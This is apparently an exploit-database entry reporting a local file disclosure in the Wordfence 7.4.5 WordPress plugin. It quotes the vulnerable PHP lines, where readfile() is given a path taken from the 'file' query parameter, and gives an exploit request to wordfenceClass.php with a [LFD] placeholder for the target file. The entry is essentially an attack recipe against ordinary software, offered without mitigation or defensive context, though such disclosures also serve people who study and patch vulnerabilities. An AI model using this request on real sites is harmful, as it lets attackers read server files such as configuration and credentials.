WordPress Plugin Wordfence.7.4.5 - Local File Disclosure

#  Tile: Wordpress Plugin wordfence.7.4.5 - Local File Disclosure
#  Author: mehran feizi
#  Category: webapps
#  Date: 2020-02-12
#  vendor home page: https://wordpress.org/plugins/wordfence/

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Vulnerable Source:
5662: readfile readfile($localFile);
5645: $localFile = ABSPATH . preg_replace('/^(?:\.\.|[\/]+)/', '', sanitize_text_field($_GET['file']));
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Exploit:
localhost/wp-content/plugins/wordfence/lib/wordfenceClass.php?file=[LFD]
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